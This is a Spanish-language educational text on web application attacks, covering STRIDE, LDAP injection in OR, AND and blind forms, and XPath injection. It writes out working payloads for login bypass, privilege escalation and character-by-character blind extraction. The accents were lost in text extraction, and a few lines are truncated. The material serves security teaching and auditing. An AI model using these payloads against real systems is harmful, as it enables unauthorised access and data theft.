InternetExplorer8 incorpora de serie una proteccin frente a esta tcni-ca, que permite a los programadores web incluir una cabecera x-frame-op-tions, que si figura establecida como deny impide que la pgina que la en-va sea renderizada dentro de un iframe. Tambin incluye la posibilidad deestablecer el valor como sameorigin para permitir que nicamente puedaser cargada si la peticin se realiza desde el mismo dominio.

Figura 11. IFRAME bloqueado desde Internet Explorer 8

En el resto de navegadores como GoogleChrome,Opera,SafarieInter-netExplorer en versiones anteriores a la 8, la nica medida de protecciny de tipo parcial consiste en deshabilitar todos los elementos dinmicos,tales como Javascript, Java o la opcin de cargar iframes en nuestro nave-gador.


2. Ataques de inyeccin de cdigo

Las inyecciones de cdigo son algo a la orden del da actualmente en Internet.Permitir que un usuario introduzca cualquier parmetro en nuestra aplicacinpuede dar lugar al acceso a informacin privilegiada por parte de un atacante.

Las tcnicas de ataque que puede sufrir un sistema se han catalogado de formagenrica con el acrnimo STRIDE. Cada una de las siglas hace referencia a untipo de ataque:

1)Spoofing(suplantacin): Hace referencia a cualquier tcnica que permitaa un atacante tomar una identidad que no le corresponde. Estas tcnicas deataque se usan de forma muy extendida en Internet a varios niveles:

a) Nivel de enlace

Suplantacin de direccin fsica: Esta tcnica se usa para saltar proteccionesde direccin MAC, muy utilizadas en redes inalmbricas, o reservas activas enservidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

Suplantacin de Direccin IP: Se utilizan para saltarse protecciones res-tringidas a determinadas direcciones IP. Se hicieron famosas en el ataquea servicios Trusted Hosts, en los que se permita a un usuario logarsedirectamente en un servidor sin introducir contrasea si vena logadodesde un servidor con una direccin IP en concreto.

Hijacking: Buscan conseguir el control de una conexin mediante la su-plantacin del validador, que mantiene la sesin abierta y autenticada. Enel caso del nivel de red, el objetivo es controlar el socket mediante la su-plantacin del nmero de secuencia.

c) Nivel de Aplicacin

Suplantacin de resultados DNS: Se utilizan para conseguir que la vctimacrea que el servidor al que se conecta es el de verdad. Tcnicas de modi-ficacin de archivos hosts, implantacin de servidores DHCP, ataques deenvenenamiento de cach a servidores DNS mediante la tcnica de La fe-cha del cumpleaos son utilizados para lograr este objetivo.

Phising: El impacto de esta tcnica de ataque en la sociedad ha hecho quehoy en da la mayora de la gente se preocupe por esto. El objetivo de estatcnica es hacer creer a la vctima que se est conectando a una aplicacin


mediante la suplantacin de un sitio web completo. Se apoya en las tc-nicas de suplantacin de DNS.

Hijacking: Es similar al de a nivel de red, pero aqu se busca suplantar el va-lidador que utiliza el nivel de aplicacin. Este puede ser un nmero iden-tificador de sesin en una cookie, un campo hidden de una pgina web oun parmetro por GET o por POST.

Suplantacin de usuarios: El objetivo de esta tcnica de ataque es la deusurpar la identidad de un usuario para realizar las acciones en su lugar.

2)Tampering: Implica el intento de forzar el funcionamiento de algn meca-nismo de seguridad mediante la falsificacin o la alteracin de la informacin.Estas tcnicas son utilizadas para modificar ficheros de registro de acceso, mo-dificar la informacin real o alterarla en su trnsito desde el emisor al receptorde la misma.

3)Repudiation: Son tcnicas mediante las que se evita la certificacin o ga-ranta de un hecho. Si un sistema no garantiza el no-repudio no se puede ga-rantizar que la informacin que contiene o emite sea veraz. Tienen especialrelevancia en entornos de anlisis forense o sistemas contractuales.

4) InformationDisclosure: Vulneracin de la seguridad de un sistema queimplica que un usuario no permitido acceda a informacin o documentacinsensible. Este tipo de vulnerabilidades son especialmente importantes y estnprotegidas por legislaciones especiales, sobre todo los datos de carcter perso-nal. En Espaa se regula la seguridad de los datos mediante la Ley Orgnicade Proteccin de Datos (LOPD).

5)DenialofService: Las vulnerabilidades de denegacin de servicio son aque-llas que interrumpen la continuidad de los procesos de negocio o servicio deuna compaa. Estas vulnerabilidades pueden suponer un serio impacto enlos intereses de las compaas. Los ataques basados en ordenadores zombis (botnets), los ataques de parada de servicios o los ataques a las lneas de comu-nicacin de las empresas son objetivos de este tipo de ataques.

6)Elevationofprivilege: Se produce este fallo de seguridad cuando un usuariopuede cambiar su nivel de privilegios dentro de un sistema para acceder ainformacin o servicios que estn restringidos para su identidad. La elevacinde privilegios es una vulnerabilidad que suele ser el origen de brechas queconllevan a denegacin de servicio o descubrimiento de informacin.

A partir de esta clasificacin de ataques, es posible estudiar en profundidad laimplementacin de ataques reales, que normalmente podra aparecer simul-tneamente en varias de las categoras anteriores.


La inyeccin de comandos es una tcnica de ataque a aplicaciones web cuyoobjetivo principal es aprovechar conexiones a bases de datos desde aplicacio-nes web no securizadas para permitir a un atacante la ejecucin de comandosdirectamente en la base de datos.

2.1. LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection enaplicaciones web. Con estos ejemplos se quiere demostrar cmo es posiblerealizar ataques de elevacin de privilegios, de salto de protecciones de accesoy de acceso a datos en rboles LDAP mediante el uso de inyecciones de cdigoLDAP. Estas inyecciones de cdigo se han clasificado en inyecciones:

And LDAP Injection, OR LDAP Injection, y Blind LDAP Injection.

Para probar estas tcnicas de inyeccin se han utilizado los motores ADAMde Microsoft y el motor OpenLDAP, un producto Software Libre, de ampliaimplantacin a nivel mundial.

2.1.1. LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-mienta LDAP Browser, que permite conectarse a distintos rboles LDAP y uncliente web sinttico creado con el componente IPWorksASP.LDAP de la em-presa /n Software, para realizar las pruebas de ejecucin de filtros inyectados.En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM.

Figura 12. Estructura del rbol LDAP creado en ADAM


Supongamos ahora que la aplicacin web utiliza una consulta con el siguientefiltro: (cn=Impresora_1). Al lanzar esta consulta se obtiene 1 objeto, comose puede ver en la figura 13:

Figura 13. Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccin sera poder acceder atoda la informacin mediante la inclusin de una consulta que nos devolvieratodas las impresoras. En el ejemplo, vemos cul debera ser el resultado a ob-tener con una consulta siguiendo el formato definido en las RFC sobre ADAM:(|(cn=Impresora_1)(cn=Impresora*))


Figura 14. Todas las impresoras

Sin embargo, como se puede apreciar, para construir ese filtro necesitaramosinyectar un operador y un parntesis al principio. En el ejemplo, la inyeccinno resulta ser muy til pues se est realizando en ambas condicionantes sobrecn, pero ese filtro solo est creado para ilustrar la necesidad de inyectar cdigoantes del filtro y en el medio del filtro. Si probamos la inyeccin propuestapor Sacha Faust en ADAM: (cn=Impresora_1)(|(cn=Impresora*))

Figura 15. Inyeccin sin resultados


Como se puede apreciar en la figura anterior, en la ltima prueba la inyeccinno produce ningn error, pero a diferencia de las pruebas que realiza SachaFaust con SunOne Directory Server 5.0, el servidor ADAM no devuelve msdatos. Es decir, solo devuelve los datos del primer filtro completo y el resto dela cadena es ignorado.

2.1.2. LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccin en OpenLDAP se ha utilizado el rbolque ofrece para aplicaciones de prueba el propio proyecto OpenLPAD.org, cuyaestructura es la siguiente:

Figura 16. Estructura del rbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-niendo un nico objeto como resultado: (uid=kurt)


Figura 17. Al ejecutar el filtro (uid=kurt) obtenemos un nico resultado

Si quisiramos ampliar el nmero de resultados, siguiendo el formato definidoen el RFC deberamos ejecutar una consulta en la que inyectramos un opera-dor OR y un filtro que incluyera todos los resultados, como se puede ver en lasiguiente imagen: (|(uid=kurt)(uid=*))

Figura 18. Todos los usuarios

Si realizamos la inyeccin tal y como propone Sacha Faust en su documentosobre LDAP, obtendramos los siguientes resultados: (uid=kurt)(|(uid=*))


Figura 19. Inyeccin OpenLDAP. Se ignora el segundo filtro

Como puede apreciarse en la figura 19, el servidor OpenLDAP ha ignoradoel segundo filtro y solo ha devuelto un usuario, de igual forma que realizabaADAM.

2.1.3. Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones:

Para realizar una inyeccin de cdigo LDAP en una aplicacin que trabajecontra ADAM u OpenLDAP, es necesario que el filtro original, es decir, eldel programador tenga un operador OR o AND. A partir de este punto sepueden realizar inyecciones de cdigo que permitan extraer informacino realizar ataques blind, es decir, a ciegas.

Es necesario que la consulta generada tras la inyeccin est correctamenteanidada en un nico par de parntesis general o bien que el componentepermita la ejecucin con informacin que no se va a utilizar a la derechadel filtro.

La inyeccin que queda compuesta segn el documento de Sacha Faustpuede ser vista de dos formas diferentes: una primera, en la que sera vistacomo un nico filtro con un operador y otra en la que se interpretar co-mo la concatenacin de dos filtros. En el primer caso tendramos un filtromal compuesto. Por otro lado, si la inyeccin se ve como dos filtros, es-taramos hablando de un comportamiento particular de algunos motoresLDAP (que no comparten con OpenLDAP ni con ADAM) y adems, conun segundo filtro con un operador, el operador OR, innecesario.


A partir de este punto, vamos a analizar diferentes tipos de inyecciones LDAPque pueden suponer un riesgo de seguridad en los sistemas LDAP que estnsiendo accedidos por aplicaciones web: OR LDAP Injection, AND LDAP In-jection y Blind LDAP Injection.

2.1.4. OR LDAP Injection

En este entorno nos encontraramos con que el programador ha creado unaconsulta LDAP con un operador OR y uno o los dos parmetros son solicitadosal usuario:

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del rbol LDAP que tenemos una consulta inyec-table del siguiente tipo: (|(cn=D*)(ou=Groups)). Es decir, que devuelve to-dos los objetos cuyo valor en cn comience por D o cuyo valor en ou seaGroups. Al ejecutarla obtenemos:

Figura 20. Consulta OR sin inyeccin

Si esta consulta sufriera una inyeccin de cdigo en el primer parmetro, po-dramos realizar una consulta que nos devolviera la lista de usuarios almace-nados. Para ello realizamos la inyeccin en el primer valor de la siguiente ca-dena: void)(uid=*))(|(uid=*


Figura 21. Lista de usuarios obtenida tras la inyeccin

Al formarse la consulta LDAP, esta quedar construida de la siguiente forma: (|(cn=void)(uid=*))(|(uid=*)(ou=Groups)), permitiendo obtener la lis-ta de todos los usuarios del rbol LDAP.

Otro ejemplo de esta tcnica es la siguiente aplicacin de gestin interna, eneste caso, tenemos un aplicativo que lanza una consulta LDAP del siguientetipo:

(|(type=outputDevices)(type=printer))

Figura 22. Listado de impresoras y dispositivos de salida

Si el parmetro type que va por GET en la URL es inyectable, un atacante podramodificar el filtro de consulta LDAP con una inyeccin del siguiente tipo:


(|(type=outputDevices)(type=printer)(uid=*))(|(type=void))

Con esa inyeccin el atacante obtendra, en este ejemplo, la lista de todos losusuarios, como se puede ver en la figura 23:

Figura 23. Acceso al listado de usuarios mediante OR LDAP Injection

2.1.5. AND LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND, elatacante est obligado a utilizar como valor en el primer atributo algo vlido,pero se pueden utilizar las inyecciones para mediatizar los resultados y porejemplo, realizar escaladas de privilegios. En este caso nos encontraramos conuna consulta del siguiente tipo:

(&(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentosa los que un usuario con pocos privilegios tiene acceso, mediante una consultaque incluye el directorio de documentos en un parmetro inyectable. Es decir,la consulta original es:

(&(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podra construir una inyeccin del siguiente modo para poderacceder a los documentos de nivel de seguridad alto.

(&(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habr inyectado en el nombre del directoriola siguiente cadena:

almacen)(nivel_seguridad=alto))(|(directorio=almacen


Un ejemplo de este ataque se puede ver en la siguiente aplicacin. En primerlugar, se va a realizar un acceso no autorizado a la aplicacin web utilizandouna inyeccin que evite la comprobacin de la contrasea. La aplicacin lanzauna consulta LDAP del tipo:

(&(uid=valor_de_user)(password=valor_de_password)

El atacante, inyectando la cadena slisberger)(&)) en el valor del USER,obtendra una consulta LDAP que siempre devolvera al usuario slisberger,y por lo tanto, conseguira el acceso a la aplicacin.

Figura 24. Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25, el usuario consigue acceso al directorioprivado del usuario slisberger. En este caso, se ha utilizado el filtro (&),que es el equivalente al valor TRUE en los filtros LDAP.

Figura 25. Directorio home del usuario

Como se puede ver, en este caso, el usuario ha accedido con privilegios de nivelbajo, y en la aplicacin de mostrar documentos, que se describi al principiode este apartado, solo tendra acceso a los documentos de nivel bajo, como sepuede ver en la figura 26:


Figura 26. Listado de documentos de nivel bajo

La consulta que se est ejecutando es:

(&(directory=nombre_directorio)(level=low))

El valor de level lo est cogiendo la aplicacin de las variables de sesin delservidor, sin embargo, un atacante podra inyectar en el nombre del directorioel siguiente comando: Documents)(level=High). De esta forma, el coman-do que se ejecutara sera:

(&(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos. Se ha producido unaelevacin de privilegios.


Figura 27. Elevacin de privilegios mediante AND LDAP Injection

2.2. Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones aciegas: los ataques blind. Es comn encontrarse ya documentados los ataquesBlind SQL Injection, pero de los ataques Blind LDAP Injection, sin embargo, nose ha hablado nada. Tambin es posible realizar un ataque a ciegas para extraerinformacin de un rbol LDAP.

El entorno para realizar un ataque a ciegas suele ser una aplicacin web quecumple dos caractersticas:

La aplicacin no muestra los resultados obtenidos de la consulta realizadaal rbol LDAP.

El uso de los resultados produce cambios en la respuesta http que el clienterecibe.

Para realizar un ataque a ciegas necesitamos poder crear la lgica para extraerinformacin cambiando los resultados obtenidos con el filtro LDAP y obser-vando los cambios en las respuestas http.


2.2.1. Blind LDAP Injection en un entorno AND

En esta situacin tenemos una consulta generada en el lado del servidor delsiguiente tipo:

(&(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccin debemos tener en cuenta que en un entorno ANDtenemos un parmetro fijo que nos va a condicionar. El entorno ideal es que elatributo1 sea lo ms general posible, por ejemplo objectClass, o cn, con loque podremos seleccionar casi cualquier objeto del rbol. Despus deberemosaplicarle un valor que sea true, es decir, que siempre seleccione objetos paratenerlo fijado a valor true y utilizar como segundo atributo uno conocido quetambin nos garantice que sea true.

Supongamos la siguiente consulta LDAP:

(&(objectClass=Impresoras)(impresoraTipo=Epson*))

Que se lanza para saber si en el almacn de una empresa hay impresoras Epsonde tal manera que el programador, si recibe algn objeto, simplemente pintaen la pgina web un icono de una impresora Epson.

Est claro que lo mximo que conseguiremos tras la inyeccin es ver o no elicono de la impresora. Bien, pues a ello! Fijemos la respuesta positiva tal ycomo hemos dicho, realizando una inyeccin del siguiente tipo:

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(impresoraTipo=Epson*))

Lo que est puesto en negrita sera la inyeccin que introducira el atacante.Esta inyeccin debe devolver siempre algn objeto, en el ejemplo planteado,en la respuesta http veramos un icono de la impresora. A partir de ah podra-mos extraer los tipos de objectClass que tenemos en nuestro rbol LDAP.

2.2.2. Reconocimiento de clases de objetos de un rbol LDAP

Sabiendo que el filtro (objectClass=*) siempre devuelve algn objeto, debera-mos centrarnos en el segundo filtro realizando un recorrido de la siguienteforma:

(&(objectClass=*)(objectClass=users))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=personas))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=usuarios))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=logins))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=...))(&(objectClass=foo)(impresoraTipo=Epson*))


De tal manera que todas aquellas inyecciones que devolvieran el icono de laimpresora en la pgina web seran respuestas afirmativas que nos indicaranla existencia de ese tipo de objetos.

Otra forma ms eficiente sera realizando un barrido en el espectro del alfa-beto de posibles valores utilizando una bsqueda con comodines, para ello,realizaramos un rbol que comenzara por todas las letras del abecedario, dela siguiente forma:

(&(objectClass=*)(objectClass=a*))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=b*))(&(objectClass=foo)(impresoraTipo=Epson*))

...

(&(objectClass=*)(objectClass=z*))(&(objectClass=foo)(impresoraTipo=Epson*))

De tal manera que seguiramos desplegando el rbol de aquellas que hubierandado una respuesta positiva.

(&(objectClass=*)(objectClass=aa*))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=ab*))(&(objectClass=foo)(impresoraTipo=Epson*))

...

(&(objectClass=*)(objectClass=az*))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=ba*))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=*)(objectClass=bb*))(&(objectClass=foo)(impresoraTipo=Epson*))

...

Y as sucesivamente, con lo que, desplegando siempre las positivas, podramosllegar a saber el nombre de todos los objetcClass de un sistema.

Figura 28. rbol de despliegue. Se profundizar en todas las respuestas positivas (color verde).

Este mecanismo no solo funciona para objectClass sino que sera vlidopara cualquier atributo que un objeto compartiera con el atributo fijo. Unavez sacados los objectClass, podramos proceder a realizar el mismo reco-


rrido para extraer la informacin de ellos, por ejemplo, si queremos extraer losnombres de todos los usuarios de un sistema, bastara con realizar el barridocon la siguiente inyeccin.

(&(objectClass=user)(uid=a*))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=user)(uid=b*))(&(objectClass=foo)(impresoraTipo=Epson*))

...

(&(objectClass=user)(uid=z*))(&(objectClass=foo)(impresoraTipo=Epson*))

Este mtodo obliga a hacer un recorrido en amplitud por un rbol cuya posi-bilidad de expandirse en cada nodo siempre es igual al alfabeto completo. Sepuede reducir este alfabeto realizando un recorrido para averiguar qu carac-teres no estn siendo utilizados en ninguna posicin en ningn objeto, utili-zando un recorrido de la siguiente forma:

(&(objectClass=user)(uid=*a*))(&(objectClass=foo)(impresoraTipo=Epson*))

(&(objectClass=user)(uid=*b*))(&(objectClass=foo)(impresoraTipo=Epson*))

...

(&(objectClass=user)(uid=*z*))(&(objectClass=foo)(impresoraTipo=Epson*))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayandevuelto un resultado positivo tras este primer recorrido. Si deseramos bus-car un nico valor, podramos realizar una bsqueda binaria de cada uno delos caracteres utilizando los operadores relacionales = para reducir elnmero de peticiones.

En los atributos que almacenan valores numricos no es posible utilizar el co-modn * para booleanizar la informacin almacenada, es por tanto necesa-rio realizar la bsqueda de valores utilizando los operadores >= y =1)(&(objectClass=foo)(impresoraTipo=Epson*))

2.2.3. Blind LDAP Injection en un entorno OR

En esta situacin tenemos una consulta generada en el lado del servidor delsiguiente tipo:

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la lgica que debemos utilizar es al contrario. En lugar de fijarel valor del primer filtro a un valor siempre cierto, deberemos fijarlo a un valorsiempre falso y a partir de ah, extraer la informacin, es decir, realizaramosuna inyeccin de la siguiente forma:

(|(objectClass=void)(objectClass=void))(&(objectClass=void)(impresoraTipo=Epson*))


Con esta inyeccin obtendremos el valor negativo de referencia. En el ejemploplanteado de las impresoras disponibles deberemos obtener un resultado sinel icono de la impresora. Luego podremos inferir la informacin cuando seaverdadero el segundo filtro.

(|(objectClass=void)(objectClass=users))(&(objectClass=void)(impresoraTipo=Epson*))

(|(objectClass=void)(objectClass=personas))(&(objectClass=void)(impresoraTipo=Epson*))

(|(objectClass=void)(objectClass=usuarios))(&(objectClass=void)(impresoraTipo=Epson*))

(|(objectClass=void)(objectClass=logins))(&(objectClass=void)(impresoraTipo=Epson*))

(|(objectClass=void)(objectClass=...))(&(objectClass=void)(impresoraTipo=Epson*))

De igual forma que en el ejemplo con el operador AND podramos extraer todala informacin del rbol LDAP utilizando los comodines.

2.2.4. Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado,dentro de un rbol LDAP sobre ADAM, una estructura con objetos Printer. Enla siguiente figura se pueden ver los atributos de un objeto de tipo Printer.

Figura 29. rbol LDAP sobre ADAM. Objeto tipo Printer

Sobre este rbol LDAP trabaja una aplicacin web que se conecta, entre otrosrepositorios, a este rbol para obtener informacin. En este caso tenemos unaaplicacin programada en php, llamada printerstatus.php, que recibe co-mo parmetro el nombre de la impresora y construye una consulta LDAP dela siguiente forma:

(&(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una pgina web en la que se accede a propiedades de la impre-sora en concreto.


Figura 30. Propiedades de la impresora HP LaserJet 2100

El parmetro idprinter se utiliza para construir la consulta LDAP y es vul-nerable a LDAP Injection, sin embargo, no se muestra ninguno de los datos delos objetos que se puedan seleccionar con cualquier consulta ejecutada, porlo que nicamente se puede realizar una explotacin a ciegas. Las siguientescapturas muestran ejemplos de cmo extraer informacin del rbol LDAP me-diante Blind LDAP Injection.

1)Fase1:descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no. Cuando el atributono existe, la consulta LDAP no devuelve ningn objeto y la aplicacin nomuestra datos de ninguna impresora.

Hay que tener en cuenta que el comodn * vale nicamente para los valores detipo alfanumricos, luego si el atributo fuera de otro tipo no se podra descubriras. Para los tipos numricos y de tipo fecha se utilizan los operadores >=,


Figura 32. Atributo distinguisedname existe y tiene valor alfanumrico

Como se puede ver, hay diferencias entre las pginas que devuelven datos y lasque no, con lo que se puede automatizar la extraccin de toda la informaciny el descubrimiento de los atributos simplemente comparando los resultadosHTML obtenidos.

En la figura 33, se obtiene de nuevo un resultado positivo que confirma laexistencia de un atributo department.

Figura 33. Atributo Department existe y tiene valor Unicode extrable

2)Fase2:reduccindelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccin del al-fabeto posible de valores en un campo. La idea consiste en saber si existe ono un determinado carcter en un atributo. Si el atributo tiene 15 caracteresde longitud y tenemos que probar, por ejemplo, 28 letras por 15 caracteres,tendran que realizarse un total de 420 peticiones para extraer la informacin.Sin embargo, se puede realizar un recorrido que nos diga si una letra pertene-ce o no al valor. De esa manera realizaramos primero 28 peticiones, que nosdejarn, en el peor de los casos, una letra distinta por cada posicin, es decir,15 letras. Luego, en el peor de los casos, tendramos 15 letras x 15 posiciones+ 28 peticiones de reduccin del alfabeto, es decir, 253 peticiones. Adems, sepuede inferir que si una letra ya ha sido utilizada puede que no se vuelva autilizar, con lo que tendramos una reduccin an mayor si la letra se utilizacomo ltima opcin, dejando la probabilidad en un sumatorio de 1..15 + 28,es decir, 148 peticiones.


Como conclusin, se puede obtener que la reduccin del alfabeto es una buenaopcin a la hora de extraer valores de campos.

En los siguientes ejemplos vamos a ver cmo averiguar si un carcter perteneceo no al valor del campo.

Figura 34. La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35.: La letra n s que pertenece al valor del atributo department porque s que seobtienen datos

Esta reduccin dejara un conjunto de valores vlidos que pueden emplearsepara extraer el valor del dato mediante un proceso de despliegue.

3)Fase3:despliegue

En esta fase, una vez reducido el alfabeto, hay que ordenar las letras obtenidas,para ello comenzaremos un proceso desde la primera posicin.

Figura 36. El valor de department no comienza por la letra a porque no se obtienen datos


Se irn probando letras hasta que se obtenga un resultado positivo que con-firme que con ese patrn se devuelven datos.

Figura 37. El valor de department s comienza por la letra f porque s se obtienen datos

Una vez descubierta la primera letra, esta se mantendr fija y se proceder abuscar la segunda letra, sustituyendo siempre los caracteres obtenidos en lafase de reduccin del alfabeto.

Figura 38. El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39. El valor de department s que comienza por las letras fi porque s que se obtienendatos

Este proceso se repetira con todos los atributos descubiertos y hasta que sehubieran descubierto todas las letras permitiendo extraer informacin ocultade los objetos del rbol LDAP.

LDAP es una tecnologa en expansin cuya implantacin en los sistemas de di-rectorio y metadirectorio la hacen cada da ms popular. Los entornos intranetrealizan uso intensivo de esta tecnologa para ofrecer sistemas de Single Sing-On e incluso es comn encontrar entornos LDAP en los servicios de Internet.


Esta popularidad hace que sea necesario incluir las pruebas anteriores dentrode los procesos de auditora de seguridad de las aplicaciones web. Las pruebasde inyecciones de auditora que se estaban realizando hoy en da, siguiendola documentacin existente, son de poca ayuda, pues en los entornos mscomunes como ADAM u OpenLDAP no funcionan.

La solucin para proteger las aplicaciones frente a este tipo de inyeccionesconsiste, como en otros entornos de explotacin, en filtrar los parmetros en-viados desde el cliente. En este caso, filtrar operadores, parntesis y comodinespara que nunca un atacante sea capaz de inyectar lgica dentro de nuestraaplicacin.

2.3. XPath

XPath es un lenguaje que permite la bsqueda de informacin en do-cumentos XML por medio de expresiones especficas para su estructura.Est pensado para optimizar los tiempos de bsqueda haciendo uso dela organizacin de nodos que poseen los ficheros XML.

Como cualquier medio para el almacenamiento y bsqueda de datos, es posi-ble implementarlo en aplicaciones web, de modo que pueden sustituir a losSGBD (sistema gestor de base de datos) basados en SQL.

2.3.1. XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacin de losparmetros de bsqueda a la hora de formar una query XPath.

Una inyeccin XPath sucede cuando se inserta cdigo XPath dentro de la sen-tencia, y ejecuta el cdigo inyectado dentro del motor de bsqueda XML.

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection, SQLInjection, LDAP Injection...) son fallos de seguridad causados por una malaprogramacin de la aplicacin que hace la conexin contra el motor de bs-queda, sin importar que la aplicacin sea de escritorio o web.

Para conocer cmo funciona esta tcnica en mayor profundidad, vamos a su-poner un caso prctico. Tenemos una aplicacin web que hace una conexincontra un rbol XML con la siguiente estructura:


La aplicacin web maneja un sistema de autenticacin basado en XML, dondepara realizar la autentificacin tiene un formulario en el que solicita un usuarioy un password, con los que posteriormente formara una query de XPath conla siguiente estructura:

string xpath = "/usuarios/usuario[@login='" + usuario + "' and @password='" + password + "']";

En un entorno seguro esta query de XPath no devolver ningn resultado posi-tivo a no ser que el usuario y el password correspondan con los establecidos enel documento XML, pero si se trata de un entorno inseguro, donde los camposde entrada (usuario y password) no estn filtrados, sera posible realizar unainyeccin.

Si un usuario introdujera en el campo password un valor como abc ora=a or a=b sera suficiente para saltarse el sistema de login y accedera la zona privada, ya que el motor de bsqueda XML devolvera un resultadopositivo. Teniendo en cuenta que primero se evalan los operadores AND yposteriormente los OR, el resultado booleano que tratara el motor de bsque-da sera el que nos muestra el siguiente ejemplo:

Figura 40. Evaluacin de los parmetros en XPath

Como hemos visto, con este tipo de inyecciones es posible hacer modificacio-nes en la query para obtener el resultado deseado (true/false), pero es posible irmucho ms all y averiguar la estructura del rbol XML con todos sus nodos,atributos y elementos.

Realizar este tipo de ataques es posible. Se utiliza una variacin de XPathInjection llamada Blind XPath Injection, la cual consiste en averiguar valoresdel rbol XML basndose en el resultado booleano que devuelve la aplicacinvulnerable.

Retomando el caso prctico anterior, supongamos que cuando realizamos loginen la aplicacin (introduciendo abc or a=a or a=b), la aplicacindevuelve un mensaje de autentificacin donde dice Bienvenido, y en casode que la query XPath devuelva un resultado negativo (cuando se realiza unainyeccin que devuelva false) muestre un mensaje donde diga Usuario y/opassword incorrecto.


En este caso, nos encontramos claramente ante una aplicacin vulnerable aBlind XPath Injection, pero si aun as queremos estar seguros de que se trata deun motor XML y no SQL, podemos utilizar funciones como count(//), lacual devuelve el nmero total de nodos en el rbol, que siempre debera teneral menos 1 nodo:

Inyeccin de cadena: a or count(//)>0 or a=b Inyeccin numrica: 0 or count(//)>0 or 1=1

Tambin es posible la utilizacin de operadores OR en maysculas, ya queestos no son aceptados en bsquedas XML y s que lo son en bsquedas SQL(estas admiten operadores tanto en minsculas como en maysculas), de talmodo que se podra concluir si el motor de bsqueda trabaja con XML.

Motor SQL: OR 1=1 OR = Motor SQL/XML: or 1=1 or =

Si con esta prueba obtenemos un resultado positivo no hay duda de que es unsistema XML, es vulnerable, y adems, es posible extraer todo el rbol XML,cmo?, utilizando tcnicas de booleanizacin.

El primer paso a la hora de empezar un ataque para descargarse el rbol serasacar los valores del nodo raz que contiene el resto de los nodos. Los pasosque habra que realizar seran los siguientes:

1) Extraer el nombre del nodo.

2) Extraer los atributos del nodo.

3) Comprobar si es un elemento3. En caso positivo, obtener el valor.

4) Calcular el nmero de nodos hijos que contiene el nodo que se est anali-zando.

5) Volver a realizar el paso 1 con los nodos extrados en el paso 4.

Para extraer el nombre del nodo, primero sera necesario calcular el nmero decaracteres del mismo. Esto se puede hacer utilizando la funcin string-length:

[PATH]child::node()[position()=[NUMNODO] and string-length (name())>[NUMERO]]

Donde [PATH] sera el nodo a analizar, [NUMNODO] el nmero de nodo (yaque puede haber varios nodos con el mismo nombre dentro del mismo padre),y [NUMERO] sera la longitud del nombre del nodo. De este modo, utilizandofuerza bruta y tcnicas de optimizacin, como la bsqueda binaria, sera posi-ble sacar la longitud del nombre de la siguiente manera:

(3)Si el nodo es un elemento, nopuede contener subnodos, por loque los pasos 4 y 5 no se realiza-ran.


' or /child::node()[position()=1 and string-length(name())>20] or 1=1 and ''='





' or /child::node()[position()=1 and string-length(name())=8] or 1=1 and ''='

Una vez se sabe que la longitud del nodo son ocho caracteres, se puede sacarel nombre del nodo siguiendo el mismo mecanismo: tcnicas de booleaniza-cin e imaginacin.

' or /child::node()[position()=1 and starts-with(name(),'a')] or 1=1 and ''='

' or /child::node()[position()=1 and starts-with(name(),'b')] or 1=1 and ''='

' or /child::node()[position()=1 and starts-with(name(),'c')] or 1=1 and ''='

...

' or /child::node()[position()=1 and starts-with(name(),'u')] or 1=1 and ''='

' or /child::node()[position()=1 and starts-with(name(),'ua')] or 1=1 and ''='

' or /child::node()[position()=1 and starts-with(name(),'ub')] or 1=1 and ''='

...

' or /child::node()[position()=1 and starts-with(name(),'us')] and ''='

' or /child::node()[position()=1 and starts-with(name(),'usu')] and ''='

Sera el mismo proceso para cada letra del nombre, utilizando un charset decaracteres, y extraer cada carcter desde la posicin 1 hasta la posicin mxi-ma, que sera la longitud del nombre extrada inicialmente.

Los pasos para extraer los atributos y elementos seran exactamente los mis-mos, pero variando la consulta XPath, con las siguientes plantillas:

1) Para extraer informacin referente a los nodos:

Longitud del nombre:[PATH]child::node()[position()=[NUMNODO] and

string-length(name())>[NUMERO]]

